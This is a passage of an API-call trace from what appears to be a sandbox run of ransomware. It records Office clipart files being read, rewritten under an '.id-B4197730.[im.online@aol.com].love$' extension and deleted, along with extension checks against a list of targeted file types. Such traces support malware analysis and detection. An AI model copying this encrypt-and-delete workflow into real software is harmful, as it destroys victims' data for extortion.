office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0234.052] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.052] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0234.053] GetLastError () returned 0x0 [0234.054] ReadFile (in: hFile=0x4d4, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x3896, lpOverlapped=0x0) returned 1 [0234.101] WriteFile (in: hFile=0x4d8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x38a0, lpOverlapped=0x0) returned 1 [0234.103] ReadFile (in: hFile=0x4d4, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.103] WriteFile (in: hFile=0x4d8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.103] SetEndOfFile (hFile=0x4d8) returned 1 [0234.103] CloseHandle (hObject=0x4d8) returned 1 [0234.103] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.103] SetEndOfFile (hFile=0x4d4) returned 1 [0234.108] CloseHandle (hObject=0x4d4) returned 1 [0234.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0234.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.109] lstrlenW (lpString=".doc") returned 4 [0234.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.110] lstrlenW (lpString=".docx") returned 5 [0234.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.110] lstrlenW (lpString=".pdf") returned 4 [0234.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.110] lstrlenW (lpString=".xls") returned 4 [0234.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.110] lstrlenW (lpString=".xlsx") returned 5 [0234.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.110] lstrlenW (lpString=".ppt") returned 4 [0234.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.110] lstrlenW (lpString=".zip") returned 4 [0234.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.110] lstrlenW (lpString=".rar") returned 4 [0234.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.110] lstrlenW (lpString=".bz2") returned 4 [0234.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.110] lstrlenW (lpString=".7z") returned 3 [0234.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.110] lstrlenW (lpString=".dbf") returned 4 [0234.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.110] lstrlenW (lpString=".1cd") returned 4 [0234.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.110] lstrlenW (lpString=".jpg") returned 4 [0234.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.111] lstrlenW (lpString=".doc") returned 4 [0234.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.111] lstrlenW (lpString=".docx") returned 5 [0234.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.111] lstrlenW (lpString=".pdf") returned 4 [0234.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.111] lstrlenW (lpString=".xls") returned 4 [0234.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.111] lstrlenW (lpString=".xlsx") returned 5 [0234.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.111] lstrlenW (lpString=".ppt") returned 4 [0234.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.111] lstrlenW (lpString=".zip") returned 4 [0234.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.111] lstrlenW (lpString=".rar") returned 4 [0234.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.111] lstrlenW (lpString=".bz2") returned 4 [0234.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.111] lstrlenW (lpString=".7z") returned 3 [0234.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.112] lstrlenW (lpString=".dbf") returned 4 [0234.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.112] lstrlenW (lpString=".1cd") returned 4 [0234.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0234.112] lstrlenW (lpString=".jpg") returned 4 [0234.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.112] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.112] lstrlenW (lpString="BL00234_.WMF") returned 12 [0234.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0234.113] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9304) returned 1 [0234.113] CloseHandle (hObject=0x4d4) returned 1 [0234.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0234.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0234.114] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.114] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0234.115] GetLastError () returned 0x0 [0234.115] ReadFile (in: hFile=0x4d4, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2458, lpOverlapped=0x0) returned 1 [0234.118] WriteFile (in: hFile=0x4d8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2460, lpOverlapped=0x0) returned 1 [0234.119] ReadFile (in: hFile=0x4d4, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.120] WriteFile (in: hFile=0x4d8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.120] SetEndOfFile (hFile=0x4d8) returned 1 [0234.120] CloseHandle (hObject=0x4d8) returned 1 [0234.120] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.120] SetEndOfFile (hFile=0x4d4) returned 1 [0234.125] CloseHandle (hObject=0x4d4) returned 1 [0234.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0234.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.127] lstrlenW (lpString=".doc") returned 4 [0234.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.127] lstrlenW (lpString=".docx") returned 5 [0234.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.127] lstrlenW (lpString=".pdf") returned 4 [0234.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.127] lstrlenW (lpString=".xls") returned 4 [0234.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.127] lstrlenW (lpString=".xlsx") returned 5 [0234.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.127] lstrlenW (lpString=".ppt") returned 4 [0234.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.128] lstrlenW (lpString=".zip") returned 4 [0234.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.128] lstrlenW (lpString=".rar") returned 4 [0234.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.128] lstrlenW (lpString=".bz2") returned 4 [0234.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.128] lstrlenW (lpString=".7z") returned 3 [0234.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.128] lstrlenW (lpString=".dbf") returned 4 [0234.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.128] lstrlenW (lpString=".1cd") returned 4 [0234.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.128] lstrlenW (lpString=".jpg") returned 4 [0234.604] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.613] lstrlenW (lpString=".doc") returned 4 [0234.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.613] lstrlenW (lpString=".docx") returned 5 [0234.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.613] lstrlenW (lpString=".pdf") returned 4 [0234.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.613] lstrlenW (lpString=".xls") returned 4 [0234.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.613] lstrlenW (lpString=".xlsx") returned 5 [0234.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.613] lstrlenW (lpString=".ppt") returned 4 [0234.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.613] lstrlenW (lpString=".zip") returned 4 [0234.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.614] lstrlenW (lpString=".rar") returned 4 [0234.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.614] lstrlenW (lpString=".bz2") returned 4 [0234.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.614] lstrlenW (lpString=".7z") returned 3 [0234.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.614] lstrlenW (lpString=".dbf") returned 4 [0234.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.614] lstrlenW (lpString=".1cd") returned 4 [0234.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0234.614] lstrlenW (lpString=".jpg") returned 4 [0234.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.614] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.614] lstrlenW (lpString="BL00273_.WMF") returned 12 [0234.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.615] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3780) returned 1 [0234.615] CloseHandle (hObject=0x480) returned 1 [0234.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220 [0234.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.616] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.616] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0234.617] GetLastError () returned 0x0 [0234.617] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xec4, lpOverlapped=0x0) returned 1 [0234.619] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xed0, lpOverlapped=0x0) returned 1 [0234.620] ReadFile (in: hFile=0x480, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.620] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.621] SetEndOfFile (hFile=0x4c4) returned 1 [0234.621] CloseHandle (hObject=0x4c4) returned 1 [0234.621] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.621] SetEndOfFile (hFile=0x480) returned 1 [0234.624] CloseHandle (hObject=0x480) returned 1 [0234.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.625] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0234.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.626] lstrlenW (lpString=".doc") returned 4 [0234.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.626] lstrlenW (lpString=".docx") returned 5 [0234.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.626] lstrlenW (lpString=".pdf") returned 4 [0234.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.626] lstrlenW (lpString=".xls") returned 4 [0234.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.626] lstrlenW (lpString=".xlsx") returned 5 [0234.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.626] lstrlenW (lpString=".ppt") returned 4 [0234.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.626] lstrlenW (lpString=".zip") returned 4 [0234.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.626] lstrlenW (lpString=".rar") returned 4 [0234.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.626] lstrlenW (lpString=".bz2") returned 4 [0234.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.626] lstrlenW (lpString=".7z") returned 3 [0234.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.626] lstrlenW (lpString=".dbf") returned 4 [0234.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.627] lstrlenW (lpString=".1cd") returned 4 [0234.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.627] lstrlenW (lpString=".jpg") returned 4 [0234.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.627] lstrlenW (lpString=".doc") returned 4 [0234.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.627] lstrlenW (lpString=".docx") returned 5 [0234.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.627] lstrlenW (lpString=".pdf") returned 4 [0234.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.627] lstrlenW (lpString=".xls") returned 4 [0234.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.627] lstrlenW (lpString=".xlsx") returned 5 [0234.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.627] lstrlenW (lpString=".ppt") returned 4 [0234.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.627] lstrlenW (lpString=".zip") returned 4 [0234.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.627] lstrlenW (lpString=".rar") returned 4 [0234.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.627] lstrlenW (lpString=".bz2") returned 4 [0234.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.627] lstrlenW (lpString=".7z") returned 3 [0234.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.628] lstrlenW (lpString=".dbf") returned 4 [0234.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.628] lstrlenW (lpString=".1cd") returned 4 [0234.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0234.628] lstrlenW (lpString=".jpg") returned 4 [0234.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.628] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.628] lstrlenW (lpString="BL00274_.WMF") returned 12 [0234.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.629] GetFileSizeEx (in: hFile=0x480, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=4164) returned 1 [0234.630] CloseHandle (hObject=0x480) returned 1 [0234.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0234.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0234.631] SetFilePointerEx (in: hFile=0x480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) 